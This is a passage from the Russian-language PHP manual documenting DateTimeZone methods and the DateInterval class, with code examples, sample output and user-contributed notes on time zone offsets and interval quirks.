    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)
Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)

Смотрите также

  • Функция DateTimeZone::listIdentifiers() - Возвращает численно индексированный массив со всеми идентификаторами часовых поясов для получения полного или частичного списка всех поддерживаемых идентификаторов часовых поясов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя часового пояса

  • « DateTimeZone::getLocation
  • DateTimeZone::getOffset »
  • PHP Manual
  • DateTimeZone
  • Возвращает имя часового пояса

DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getName -- timezone_name_get — Возвращает имя часового пояса

Описание

Объектно-ориентированный стиль

public DateTimeZone::getName(): string

Процедурный стиль

timezone_name_get(DateTimeZone $object): string

Возвращает имя часового пояса.

Список параметров

object

Объект класса DateTimeZone, для которого нужно получить имя.

Возвращаемые значения

В зависимости от типа зоны, смещения UTC (тип 1), аббревиатуры часового пояса (тип 2) и идентификаторов часовых поясов, опубликованных в базе данных часовых поясов IANA (тип 3), строка дескриптора для создания нового объекта DateTimeZone с тем же смещением и/или правилами. Например, 02:00, CEST или одно из имён часовых поясов в списке часовых поясов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает смещение часового пояса от UTC (GMT)

  • « DateTimeZone::getName
  • DateTimeZone::getTransitions »
  • PHP Manual
  • DateTimeZone
  • Возвращает смещение часового пояса от UTC (GMT)

DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getOffset -- timezone_offset_get — Возвращает смещение часового пояса от UTC (GMT)

Описание

Объектно-ориентированный стиль

public DateTimeZone::getOffset(DateTimeInterface $datetime): int

Процедурный стиль

timezone_offset_get(DateTimeZone $object, DateTimeInterface $datetime): int

Эта функция возвращает смещение от GMT для даты/времени, указанных в параметре datetime. GMT-смещение рассчитывается с помощью информации о часовом поясе, содержащейся в используемом объекте DateTimeZone.

Список параметров

object

Только для процедурного стиля: объект DateTimeZone, возвращаемый timezone_open().

datetime

DateTime, содержащий дату/время, относительно которых вычисляется смещение.

Возвращаемые значения

Возвращает смещение часового пояса в секундах.

Примеры

Пример #1 Пример использования DateTimeZone::getOffset()

<?php
// Создание двух объектов timezone, один для Тайбэй (Тайвань) и один для
// Токио (Япония)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Создание двух объектов DateTime, которые будут содержать одинаковые метки времени Unix, но
// имеющих различные часовые пояса.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// Вычисление смещения от GMT для даты/времени, содержащихся в объекте $dateTimeTaipei,
// но с использованием правил часового пояса, определённых для Токио
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// Должен показать int(32400) (для дат после Sat Sep 8 01:00:00 1951 JST).
var_dump($timeOffset);
?>

User Contributed Notes

Anonymous 25-Aug-2022 08:08
int offset does not cover fractional offsets of "rogue" locations such as Nepal etc.
Daniel Vidal 17-Aug-2022 08:13
Note that the DateTime parameter has no effect in the result returned by DateTimeZone::getOffset($DateTime), unless, it refers to a DateTime where there is daylight savings in the referenced DateTimeZone.

Ex.:
<?php
$timezone_brl    = new DateTimeZone('America/Sao_Paulo');
$timezone_eng    = new DateTimeZone('Europe/London');
$timezone_aus    = new DateTimeZone('Australia/Brisbane');

$dateTimes = [
      new DateTime()
    , new DateTime('now', $timezone_eng)
    , new DateTime('now', $timezone_aus)
    , new DateTime('now', $timezone_brl)
    , new DateTime('2000-06-10', $timezone_brl)
    , new DateTime('2000-12-10', $timezone_brl)
    , new DateTime('2020-12-10', $timezone_brl)
];

foreach($dateTimes as $dateTime)
{
  echo "\n" . $timezone_brl->getOffset($dateTime);
}
/**
* -10800
* -10800
* -10800
* -10800
* -10800  // No daylight savings in June/2000
* -  7200  // Brazil had daylight savings until 2020
* -10800  // No more daylight savings, so it returns -10800
*/

?>


Возвращает все переходы для часового пояса

  • « DateTimeZone::getOffset
  • DateTimeZone::listAbbreviations »
  • PHP Manual
  • DateTimeZone
  • Возвращает все переходы для часового пояса

DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getTransitions -- timezone_transitions_get — Возвращает все переходы для часового пояса

Описание

Объектно-ориентированный стиль

public DateTimeZone::getTransitions(int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false

Процедурный стиль

timezone_transitions_get(DateTimeZone $object, int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false

Список параметров

object

Только для процедурного стиля: объект DateTimeZone, возвращаемый timezone_open().

timestampBegin

Начальная метка времени.

timestampEnd

Конечная метка времени.

Возвращаемые значения

В случае успешного выполнения возвращает численно индексированный массив массивов со всеми переходами или false в случае возникновения ошибки. Объекты DateTimeZone, оборачивающие тип 1 (смещения UTC) и тип 2 (сокращения), не содержат переходов и вызов этого метода в таком случае вернёт false.

Если задан параметр timestampBegin, то первая запись в возвращаемом массиве будет содержать элемент перехода на момент параметра timestampBegin.

Структура переходов массива
Ключ | Тип | Описание
ts | int | Метка времени Unix
time | string | DateTimeInterface::ISO8601_EXPANDED (PHP 8.2 и более поздние версии) или DateTimeInterface::ISO8601 (PHP 8.1 и более ранние версии) строка времени
offset | int | Смещение от UTC в секундах
isdst | bool | Активно ли летнее время
abbr | string | Аббревиатура часового пояса

Примеры

Пример #1 Пример использования timezone_transitions_get()

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions();
print_r(array_slice($transitions, 0, 3));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [ts] => -9223372036854775808
            [time] => -292277022657-01-27T08:29:52+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => -1691964000
            [time] => 1916-05-21T02:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [2] => Array
        (
            [ts] => -1680472800
            [time] => 1916-10-01T02:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

)

Пример #2 Пример использования timezone_transitions_get() с заданным параметром timestampBegin

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions(time());
print_r(array_slice($transitions, 0, 3));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [ts] => 1654184161
            [time] => 2022-06-02T15:36:01+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => 1667091600
            [time] => 2022-10-30T01:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

    [2] => Array
        (
            [ts] => 1679792400
            [time] => 2023-03-26T01:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса

  • « DateTimeZone::getTransitions
  • DateTimeZone::listIdentifiers »
  • PHP Manual
  • DateTimeZone
  • Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса

DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listAbbreviations -- timezone_abbreviations_list — Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса

Описание

Объектно-ориентированный стиль

public static DateTimeZone::listAbbreviations(): array

Процедурный стиль

timezone_abbreviations_list(): array

Возвращаемый список аббревиатур включает все исторические случаи использования аббревиатур, что может привести к правильным, но запутанным записям. Существуют также противоречия, поскольку PST используется как в США, так и на Филиппинах.

Поэтому список, который возвращает эта функция, не подходит для создания массива с опциями для представления выбора часового пояса пользователям.

Замечание:

Данные для функции предварительно компилируются из соображений производительности и не обновляются при использовании более новой версии » timezonedb.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив сокращений часовых поясов.

Примеры

Пример #1 Пример использования timezone_abbreviations_list()

<?php
$timezone_abbreviations = DateTimeZone::listAbbreviations();
print_r($timezone_abbreviations["acst"]);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Porto_Acre
        )

    [1] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Eirunepe
        )

    [2] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Rio_Branco
        )

    [3] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => Brazil/Acre
        )

)

Смотрите также

  • timezone_identifiers_list() - Псевдоним DateTimeZone::listIdentifiers

User Contributed Notes

There are no user contributed notes for this page.


Возвращает численно индексированный массив со всеми идентификаторами часовых поясов

  • « DateTimeZone::listAbbreviations
  • DateInterval »
  • PHP Manual
  • DateTimeZone
  • Возвращает численно индексированный массив со всеми идентификаторами часовых поясов

DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listIdentifiers -- timezone_identifiers_list — Возвращает численно индексированный массив со всеми идентификаторами часовых поясов

Описание

Объектно-ориентированный стиль

public static DateTimeZone::listIdentifiers(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array

Процедурный стиль

timezone_identifiers_list(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array

Список параметров

timezoneGroup

Одна из констант класса DateTimeZone (или комбинация из них).

countryCode

Двухбуквенный код страны в верхнем регистре, совместимый с ISO 3166-1.

Замечание: Эта опция используется только тогда, когда параметр timezoneGroup установлен в DateTimeZone::PER_COUNTRY.

Возвращаемые значения

Возвращает массив идентификаторов часовых поясов. Возвращаются только не устаревшие элементы. Чтобы получить все, включая устаревшие идентификаторы часовых поясов, используйте DateTimeZone::ALL_WITH_BC в качестве значения для параметра timezoneGroup.

Список изменений

Версия | Описание
8.0.0 | До этой версии, в случае возникновения ошибки возвращалось false.
7.1.0 | countryCode теперь допускает значение null.

Примеры

Пример #1 Пример использования DateTimeZone::listIdentifiers()

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers();
for ($i=0; $i < 5; $i++) {
echo "$timezone_identifiers[$i]\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara

Пример #2 Перечисление идентификаторов для конкретного региона

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::ASIA );
for ($i=0; $i < 5; $i++) {
echo "$timezone_identifiers[$i]\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Asia/Aden
Asia/Almaty
Asia/Amman
Asia/Anadyr
Asia/Aqtau

Пример #3 Перечисление идентификаторов для нескольких регионов

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::ASIA | DateTimeZone::PACIFIC );
echo join( ', ', $timezone_identifiers );
?>

Результатом выполнения данного примера будет что-то подобное:

Asia/Aden, Asia/Almaty, Asia/Amman, Asia/Anadyr, Asia/Aqtau, Asia/Aqtobe,
Asia/Ashgabat, Asia/Atyrau, Asia/Baghdad, Asia/Bahrain, Asia/Baku,
Asia/Bangkok, Asia/Barnaul, Asia/Beirut, Asia/Bishkek, Asia/Brunei,
Asia/Chita, Asia/Choibalsan, Asia/Colombo, Asia/Damascus, Asia/Dhaka,
Asia/Dili, Asia/Dubai, Asia/Dushanbe, Asia/Famagusta, Asia/Gaza, Asia/Hebron,
Asia/Ho_Chi_Minh, Asia/Hong_Kong, Asia/Hovd, Asia/Irkutsk, Asia/Jakarta,
Asia/Jayapura, Asia/Jerusalem, Asia/Kabul, Asia/Kamchatka, Asia/Karachi,
Asia/Kathmandu, Asia/Khandyga, Asia/Kolkata, Asia/Krasnoyarsk,
Asia/Kuala_Lumpur, Asia/Kuching, Asia/Kuwait, Asia/Macau, Asia/Magadan,
Asia/Makassar, Asia/Manila, Asia/Muscat, Asia/Nicosia, Asia/Novokuznetsk,
Asia/Novosibirsk, Asia/Omsk, Asia/Oral, Asia/Phnom_Penh, Asia/Pontianak,
Asia/Pyongyang, Asia/Qatar, Asia/Qostanay, Asia/Qyzylorda, Asia/Riyadh,
Asia/Sakhalin, Asia/Samarkand, Asia/Seoul, Asia/Shanghai, Asia/Singapore,
Asia/Srednekolymsk, Asia/Taipei, Asia/Tashkent, Asia/Tbilisi, Asia/Tehran,
Asia/Thimphu, Asia/Tokyo, Asia/Tomsk, Asia/Ulaanbaatar, Asia/Urumqi,
Asia/Ust-Nera, Asia/Vientiane, Asia/Vladivostok, Asia/Yakutsk, Asia/Yangon,
Asia/Yekaterinburg, Asia/Yerevan, Pacific/Apia, Pacific/Auckland,
Pacific/Bougainville, Pacific/Chatham, Pacific/Chuuk, Pacific/Easter,
Pacific/Efate, Pacific/Fakaofo, Pacific/Fiji, Pacific/Funafuti,
Pacific/Galapagos, Pacific/Gambier, Pacific/Guadalcanal, Pacific/Guam,
Pacific/Honolulu, Pacific/Kanton, Pacific/Kiritimati, Pacific/Kosrae,
Pacific/Kwajalein, Pacific/Majuro, Pacific/Marquesas, Pacific/Midway,
Pacific/Nauru, Pacific/Niue, Pacific/Norfolk, Pacific/Noumea,
Pacific/Pago_Pago, Pacific/Palau, Pacific/Pitcairn, Pacific/Pohnpei,
Pacific/Port_Moresby, Pacific/Rarotonga, Pacific/Saipan, Pacific/Tahiti,
Pacific/Tarawa, Pacific/Tongatapu, Pacific/Wake, Pacific/Wallis

Пример #4 Перечисление идентификаторов для одной страны

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers( DateTimeZone::PER_COUNTRY, "UA" );
foreach( $timezone_identifiers as $identifier ) {
echo "$identifier\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Europe/Kyiv
Europe/Simferopol
Europe/Uzhgorod
Europe/Zaporozhye

Смотрите также

  • timezone_abbreviations_list() - Псевдоним DateTimeZone::listAbbreviations

User Contributed Notes

There are no user contributed notes for this page.


Класс DateInterval

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Представляет интервалы дат.

Интервал дат хранит либо определённое фиксированное время (в годах, месяцах, днях, часах и т.д.) или относительную строку времени в формате, поддерживаемом конструктором DateTimeImmutable и DateTime.

Более конкретно, информация в объекте класса DateInterval является инструкцией для перехода от одной даты/времени к другой дате/времени. Этот процесс не всегда обратим.

Распространённым способом создания объекта DateInterval является вычисление разницы между двумя объектами даты/времени с помощью DateTimeInterface::diff().

Поскольку не существует чётко определённого способа сравнения интервалов дат, экземпляры DateInterval являются несравнимыми.

Обзор классов

class DateInterval {
/* Свойства */
public int $y;
public int $m;
public int $d;
public int $h;
public int $i;
public int $s;
public float $f;
public int $invert;
public mixed $days;
public bool $from_string;
public string $date_string;
/* Методы */
public __construct(string $duration)
public static createFromDateString(string $datetime): DateInterval|false
public format(string $format): string
}

Свойства

Внимание

Доступные свойства, перечисленные ниже, зависят от версии PHP и должны рассматриваться как доступные только для чтения.

y

Количество лет.

m

Количество месяцев.

d

Количество дней.

h

Количество часов.

i

Количество минут.

s

Количество секунд.

f

Количество микросекунд в виде долей секунды.

invert

Принимает 1, если интервал представляет отрицательный период времени и 0 в противном случае. Смотрите DateInterval::format().

days

Если объект DateInterval создан методом DateTimeImmutable::diff() или DateTime::diff(), то это общее количество полных дней между начальной и конечной датами В противном случае days примет значение false.

from_string

Если объект DateInterval был создан методом DateInterval::createFromDateString(), то значение свойства будет true и свойство date_string будет заполнено. В противном случае значение свойства будет false и свойства от y до f, invert и days будут заполнены.

date_string

Строка, используемая в качестве аргумента метода DateInterval::createFromDateString().

Список изменений

Версия | Описание
8.2.0 | Добавлены свойства from_string и date_string для экземпляров DateInterval, которые были созданы с помощью метода DateInterval::createFromDateString().
8.2.0 | Будут видны только значения от y до f, invert и days.
7.4.0 | Экземпляры DateInterval теперь несравнимы; ранее все экземпляры DateInterval считались равными.
7.1.0 | Добавлено свойство f.

Содержание

  • DateInterval::__construct — Создаёт новый объект DateInterval
  • DateInterval::createFromDateString — Создаёт объект класса DateInterval из даты в относительном формате
  • DateInterval::format — Форматирует интервал

User Contributed Notes

cb 04-Dec-2022 04:12
If you want to reverse a date interval use array_reverse and iterator_to_array. I've found using invert to be unreliable.

<?php
$start_date = date_create("2021-01-01");
$end_date   = date_create("2021-01-05"); // If you want to include this date, add 1 day

$interval = DateInterval::createFromDateString('1 day');
$daterange = new DatePeriod($start_date, $interval ,$end_date);

function show_dates ($dr) {
    foreach($dr as $date1){
        echo $date1->format('Y-m-d').'<br>';
    }
}

show_dates ($daterange);

echo '<br>';

// reverse the array

$daterange = array_reverse(iterator_to_array($daterange));

show_dates ($daterange);

?>

Gives
 2021-01-01
 2021-01-02
 2021-01-03
 2021-01-04

 2021-01-04
 2021-01-03
 2021-01-02
 2021-01-01
nateb at gurutechnologies dot net 27-Apr-2020 07:37
Many people have commented on doing a reverse interval on a date time.  I personally find a backwards year to be a little strange to think about and instead opt to work with just intervals.  This is the easiest I have found.

<?php
$one_year = new DateInterval('P1Y');
$one_year_ago = new DateTime();
$one_year_ago->sub($one_year);
?>

Instead of:

<?php
$one_year_ago = new DateInterval( "P1Y" );
$one_year_ago->invert = 1;
$one_year_ago = new DateTime();
$one_year_ago->add($one_year);
?>


Создаёт новый объект DateInterval

  • « DateInterval
  • DateInterval::createFromDateString »
  • PHP Manual
  • DateInterval
  • Создаёт новый объект DateInterval

DateInterval::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::__construct — Создаёт новый объект DateInterval

Описание

public DateInterval::__construct(string $duration)

Создаёт новый объект DateInterval.

Список параметров

duration

Описание интервала.

Формат описания интервала начинается с буквы P. Каждый период интервала представлен целым числом, за которым следует указатель его типа. Возможные типы приведены в таблице. Если интервал содержит периоды, обозначающие время, то их описанию должна предшествовать буква T.

Указатели периодов duration
Указатель периода | Описание
Y | года
M | месяцы
D | дни
W | недели. Преобразуется в дни. До PHP 8.0.0 не мог использоваться совместно с D.
H | часы
M | минуты
S | секунды

Вот несколько простых примеров. Два дня - P2D. Две секунды - PT2S. Шесть лет и пять минут - P6YT5M.

Замечание:

Указатели должны записываться от большей величины (слева) к меньшей величине (направо). То есть года должны быть до месяцев, месяцы до дней, дни до минут и так далее. Таким образом, один год и четыре дня должны быть представлены как P1Y4D, но не P4D1Y.

Задать период также можно в виде даты и времени. Пример одного года и четырёх дней может описываться как P0001-00-04T00:00:00. Но значения в этом формате не должны выходить за рамки допустимых значений даты и времени (например, 25 часов недопустимо)

Эти форматы основаны на » спецификации ISO 8601.

Ошибки

Когда параметр duration не может быть разобран анализатором как интервал, выбрасывается исключение DateMalformedIntervalStringException. До PHP 8.3 выбрасывалось исключение Exception.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо исключения Exception выбрасывается исключение DateMalformedIntervalStringException.
8.2.0 | Будут видны только y в f, invert и days, включая новое логическое свойство from_string.
8.0.0 | W теперь может использоваться совместно с D.

Примеры

Пример #1 Пример создания и использования объектов DateInterval

<?php
// Создание определённой даты
$someDate = \DateTime::createFromFormat("Y-m-d H:i", "2022-08-25 14:18");

// Создание интервала
$interval = new \DateInterval("P7D");

// Добавление интервала
$someDate->add($interval);

// Преобразование интервала в строку
echo $interval->format("%d");

Результат выполнения данного примера:

7

Пример #2 Пример использования DateInterval

<?php

$interval = new DateInterval('P1W2D');
var_dump($interval);

?>

Результат выполнения данного примера в PHP 8.2:

object(DateInterval)#1 (10) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(9)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["from_string"]=>
  bool(false)
}

Результат выполнения данного примера в PHP 8:

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(9)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}

Результат выполнения данного примера в PHP 7:

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(2)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}

Смотрите также

  • DateInterval::format() - Форматирует интервал
  • DateTime::add() - Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
  • DateTime::sub() - Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime
  • DateTime::diff() - Возвращает разницу между двумя объектами DateTime

User Contributed Notes

Anonymous 29-Mar-2021 09:07
Note that to add time you must enter P even though the period is empty.

To add 1 hour :

<?php

$plusOneHour = (new DateTime('now'))->add(new DateInterval("PT1H"));

var_dump($plusOneHour);

?>
grzeniufication 05-Apr-2020 10:51
If you'd like to persist an interval object in a DB it could be handy to implement the __toString() method. A formatted interval value can be easier to read by a human than the output of serialize. Here's an example:

<?php

namespace App;

class DateInterval extends \DateInterval
{
    public function __toString()
    {
        return $this->format('P%yY%mM%dDT%hH%iM%sS');
    }
}

$interval1 = new DateInterval('P1Y');
$interval2 = new DateInterval(strval($interval1));
assert($interval1 == $interval2);
sloanlance+php.net gmail com 05-Dec-2017 10:55
?? It's important to remember the warning about DateInterval given by "admin at torntech dot com" in an earlier comment (http://php.net/manual/en/dateinterval.construct.php#116750).  To reiterate:

Some versions of PHP (e.g., 5.6.31) have a bug that disallows fractional parts in a ISO 8601 duration string given as the argument for the DateInterval constructor.  That is, these examples will fail:

<?php
// 'P0.5Y' is valid according to ISO 8601
$interval = new DateInterval('P0.5Y');  // Throws exception
?>

<?php
// 'PT585.829S' is valid according to ISO 8601
$interval = new DateInterval('PT585.829S');  // Throws exception
?>

If this bug affects you, please go to the report for this bug in the PHP Bug Tracking System, and place a vote stating that it affects you:  https://bugs.php.net/bug.php?id=53831
Hernanibus 22-Sep-2017 08:03
It is not stated, but you cannot create directly a negative interval, this is you cannot create a "-2 days" interval as:

<?
$interval = new DateInterval("P-2D");//or
$interval = new DateInterval("-P2D");
?>

Instead you have to create first the interval and then set its 'invert' property to 1, this is:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
?>

Then you should keep in mind that this interval acts as a negative number, hence to subtract the interval from a given date you must 'add' it:

<?
$interval = new DateInterval("P2D");
$interval->invert = 1;
$date       = new DateTime ("1978-01-23 17:46:00");
$date->add($interval)->format("Y-m-d H:i:s");//this is "1978-01-21 17:46:00"
?>
Ray.Paseur sometimes uses Gmail 28-Apr-2016 04:47
To recover the interval specification string:

<?php
function get_interval_spec(DateTime $alpha, DateTime $omega)
{
    $intvl = $alpha->diff($omega);

    $date = NULL;
    if ($intvl->y) $date .= $intvl->y . 'Y';
    if ($intvl->m) $date .= $intvl->m . 'M';
    if ($intvl->d) $date .= $intvl->d . 'D';

    $time = NULL;
    if ($intvl->h) $time .= $intvl->h . 'H';
    if ($intvl->i) $time .= $intvl->i . 'M';
    if ($intvl->s) $time .= $intvl->s . 'S';
    if ($time) $time = 'T' . $time;

    $text ='P' . $date . $time;
    if ($text == 'P') return 'PT0S';
    return $text;
}
lsloan-php dot net at umich dot edu 10-Mar-2016 10:05
Although PHP refers to periods of time as "intervals", ISO 8601 refers to them as "durations".  In ISO 8601, "intervals" are something else.

While ISO 8601 allows fractions for all parts of a duration (e.g., "P0.5Y"), DateInterval does not.  Use caution when calculating durations.  If the duration has a fractional part, it may be lost when storing it in a DateInterval object.
userexamplecom at mailinator dot com 05-Feb-2016 01:49
Take care, if you have a DateTime Object on the 31h of January and add Da DateInterval of one Month, then you are in March instead of February.

For Example:
---
// given the actual date is 2017-01-31
$today = new DateTime('now', $timeZoneObject);
$today->add(new DateInterval('P1M'));
echo $today->format('m');
// output: 03
---
admin at torntech dot com 22-Feb-2015 09:22
Warning - despite the $interval_spec accepting the ISO 8601 specification format, it does not accept decimal fraction values with period or comma as stated in the specification.

https://bugs.php.net/bug.php?id=53831

<?php
/* Example from ISO 8601 documentation */
$interval = new DateInterval('P0.5Y');
?>

Will result in
Fatal error: Uncaught exception 'Exception' with message 'DateInterval::__construct(): Unknown or bad format (P0.5Y)'
bkilinc at deyta dot net 20-Dec-2013 03:28
interval_spec Period Designators, has two 'M's for months and minutes.
owen at beliefs.com 11-Jul-2013 03:20
M is used to indicate both months and minutes.

As noted on the referenced wikipedia page for ISO 6801 http://en.wikipedia.org/wiki/Iso8601#Durations

To resolve ambiguity, "P1M" is a one-month duration and "PT1M" is a one-minute duration (note the time designator, T, that precedes the time value).

Using: PHP 5.3.2-1ubuntu4.19

// For 3 Months
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("P3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:26-0400
2013-10-11T11:12:26-0400

// For 3 Minutes
$dateTime = new DateTime;echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
$dateTime->add(new DateInterval("PT3M"));
echo $dateTime->format( DateTime::ISO8601 ), PHP_EOL;
Results in:
2013-07-11T11:12:42-0400
2013-07-11T11:15:42-0400

Insert a T after the P in the interval to add 3 minutes instead of 3 months.
buvinghausen at gmail dot com 09-Apr-2012 06:50
I think it is easiest if you would just use the sub method on the DateTime class.

<?php
$date = new DateTime();
$date->sub(new DateInterval("P89D"));
daniellehr at gmx dot de 21-Mar-2012 01:06
Alternatively you can use DateInterval::createFromDateString() for negative intervals:

<?php
$date = new DateTime();
$date->add(DateInterval::createFromDateString('-89 days'));
jawzx01 at gmail dot com 21-Feb-2012 10:43
As previously mentioned, to do a negative DateInterval object, you'd code:

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.
kevinpeno at gmail dot com 17-Mar-2011 11:47
Note that, while a DateInterval object has an $invert property, you cannot supply a negative directly to the constructor similar to specifying a negative in XSD ("-P1Y"). You will get an exception through if you do this.

Instead you need to construct using a positive interval ("P1Y") and the specify the $invert property === 1.
kuzb 04-Feb-2011 04:42
It should be noted that this class will not calculate days/hours/minutes/seconds etc given a value in a single denomination of time.  For example:

<?php
    $di = new DateInterval('PT3600S');
    echo $di->format('%H:%i:%s');

?>

will yield 0:0:3600 instead of the expected 1:0:0


Создаёт объект класса DateInterval из даты в относительном формате

  • « DateInterval::__construct
  • DateInterval::format »
  • PHP Manual
  • DateInterval
  • Создаёт объект класса DateInterval из даты в относительном формате

DateInterval::createFromDateString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::createFromDateString — Создаёт объект класса DateInterval из даты в относительном формате

Описание

Объектно-ориентированный стиль

public static DateInterval::createFromDateString(string $datetime): DateInterval|false

Процедурный стиль

date_interval_create_from_date_string(string $datetime): DateInterval|false

Использует парсер даты/времени, используемый в конструкторе DateTimeImmutable для создания объекта DateInterval из относительных частей разобранной строки.

Список параметров

datetime

Дата, состоящая из относительных временных фрагментов. В частности, для создания объекта DateInterval из частей, записанных в относительном формате, который поддерживается парсером в функциях DateTimeImmutable, DateTime и strtotime().

Чтобы использовать строку в формате ISO-8601, например P7D, необходимо использовать конструктор.

Возвращаемые значения

Возвращает новый объект класса DateInterval в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.2.0 | Только свойства from_string и date_string будут видны при создании объекта DateInterval с помощью этого метода.

Примеры

Пример #1 Анализ и разбор временных интервалов

<?php
// Интервалы в каждом примере эквивалентны.
$i = new DateInterval('P1D');
$i = DateInterval::createFromDateString('1 day');

$i = new DateInterval('P2W');
$i = DateInterval::createFromDateString('2 weeks');

$i = new DateInterval('P3M');
$i = DateInterval::createFromDateString('3 months');

$i = new DateInterval('P4Y');
$i = DateInterval::createFromDateString('4 years');

$i = new DateInterval('P1Y1D');
$i = DateInterval::createFromDateString('1 year + 1 day');

$i = new DateInterval('P1DT12H');
$i = DateInterval::createFromDateString('1 day + 12 hours');

$i = new DateInterval('PT3600S');
$i = DateInterval::createFromDateString('3600 seconds');
?>

Пример #2 Разбор комбинаций и отрицательных интервалов

<?php
$i = DateInterval::createFromDateString('62 weeks + 1 day + 2 weeks + 2 hours + 70 minutes');
echo $i->format('%d %h %i'), "\n";

$i = DateInterval::createFromDateString('1 year - 10 days');
echo $i->format('%y %d'), "\n";
?>

Результат выполнения данного примера:

449 2 70
1 -10

Пример #3 Разбор специальных относительных временных интервалов

<?php
$i = DateInterval::createFromDateString('last day of next month');
var_dump($i);

$i = DateInterval::createFromDateString('last weekday');
var_dump($i);
